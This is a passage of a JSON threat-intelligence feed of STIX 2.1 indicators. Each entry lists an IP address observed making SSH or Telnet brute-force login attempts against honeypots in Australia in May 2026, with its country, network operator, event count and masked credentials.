      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2cddef20-c882-4938-a297-5438de793d91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.18.249.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:15:05.000Z",
      "valid_until": "2026-06-24T11:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--e6cc1848-86b7-457e-bc72-e932d4daf15a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.225.6.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--e2ee5fa7-5d33-4386-8002-c05dcc308b04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.224.242.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9174c8db-85fa-44cf-9b87-c15ac7a452c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.138.114.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--8932e378-3936-4da2-b7d7-1efcded44b69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.55.8.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--e588fc1e-55eb-44ad-a61c-838875fe3d37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.98.102.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--eefd484f-858a-4153-bb9a-e6caa7515918",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.245.101.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4effa4ad-8f4d-4f5b-a583-7276e73c7669",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.245.97.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--43706099-0a1a-4d1f-bd90-fea96d1de866",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.121.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--ee02b095-7810-4187-beb2-22b4b7150a84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.2.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4196fa24-55d8-4121-b599-b8e5baa2e68a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.34.193.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--3367c2e3-d826-478a-9d00-ce71ff63921f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.250.184.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--3fdc2296-de54-4a46-a543-e9801975ec40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 51. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 149178. Organisation(s): China Telecom. Usernames observed (masked): r**t, v*****m. Passwords observed (masked): ***, 1******w, 1******************b, 3***********4, D******6.",
      "id": "indicator--1b5402ab-9a93-40dd-908b-c956f587b6ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.244.22.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b9295368-8b4f-49da-ae6e-02109a54381f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.30.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4b168113-eb7b-41ae-949e-5357a1aa6d1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.31.108.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BH. ASN(s): 51375. Organisation(s): Stc Bahrain B.s.c Closed.",
      "id": "indicator--2e5def77-5800-4900-a39e-4152152a6ee5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.42.119.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--54b1c250-6b00-42e1-86d0-990fc1607cd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.19.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7684e97e-5d42-4e6e-b561-f06c0fde3291",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.189.45.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--11110be7-556a-4fe5-90b3-979970b13888",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.89.28.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3257. Organisation(s): GTT Communications Inc.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--9dcc8170-b281-4ae7-9b31-a6fad3e33a32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.53.104.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:15:05.000Z",
      "valid_until": "2026-06-24T12:15:03.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t, 3**********4, a***t, o*****s, t**p. Passwords observed (masked): 3***********4, 3**********4, 2******C, Y******6, a******3.",
      "id": "indicator--e220b628-f325-404e-9107-dc7c557c4ca1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.0.200.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--49df136a-e248-4264-85dc-2c73a627407a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.96.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a7612c70-7400-4832-a7a2-ad1743d1a88c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.97.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--48a47c82-62b4-44f8-b296-e580ba683501",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.164.169.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58563. Organisation(s): CHINANET Hubei province network. Usernames observed (masked): a*****r. Passwords observed (masked): a********3.",
      "id": "indicator--e95e1118-34c9-4dd4-b6fa-b4c9a24697b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.96.193.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--948a95c0-ccb6-4e7f-8fad-1d3ea60458f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.75.29.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 258. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, 3**********4, a***t, a***n, o*****s. Passwords observed (masked): 3***********4, 3**********4, 2******C, A*******!, P***********5.",
      "id": "indicator--2870aae7-b962-49a3-a2aa-c4fac3efb602",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.205.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--0cecec4b-e23a-41cc-a2a9-7865420288b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.190.202.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3b59ca0f-cc13-4593-b0ba-e340b468265c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.245.101.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--67f2373b-fad6-4d09-886d-96c9caa218f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.233.31.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--37fbdd7a-3625-46a0-9520-36be354f30aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.235.194.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 152156. Organisation(s): Naruto. Usernames observed (masked): r**t, 3**********4, d****y, p******s. Passwords observed (masked): 1****6, 1*********0, 3***********4, 3**********4, A*******@.",
      "id": "indicator--21d8dafd-5823-4f08-8b6f-f557e2a556b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.249.28.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--eced03b5-d43d-42ba-bf3a-0a1c834e096a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.152.8.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BH. ASN(s): 51375. Organisation(s): Stc Bahrain B.s.c Closed.",
      "id": "indicator--01967555-e4df-421b-9ce7-4de81ba9b7b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.42.118.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AM. ASN(s): 51693. Organisation(s): Supercom LLC. Usernames observed (masked): d******r, 3**********4, a***n, a****w, a**g. Passwords observed (masked): 1****3, 1**4, 1******8, 3***********4, 3**********4.",
      "id": "indicator--41d602a9-1205-4cb4-a3f6-b93307ac76b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.70.206.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T13:15:12.000Z",
      "valid_until": "2026-06-24T13:15:08.000Z"
    },
    {
      "created": "2026-05-23T13:15:12.000Z",
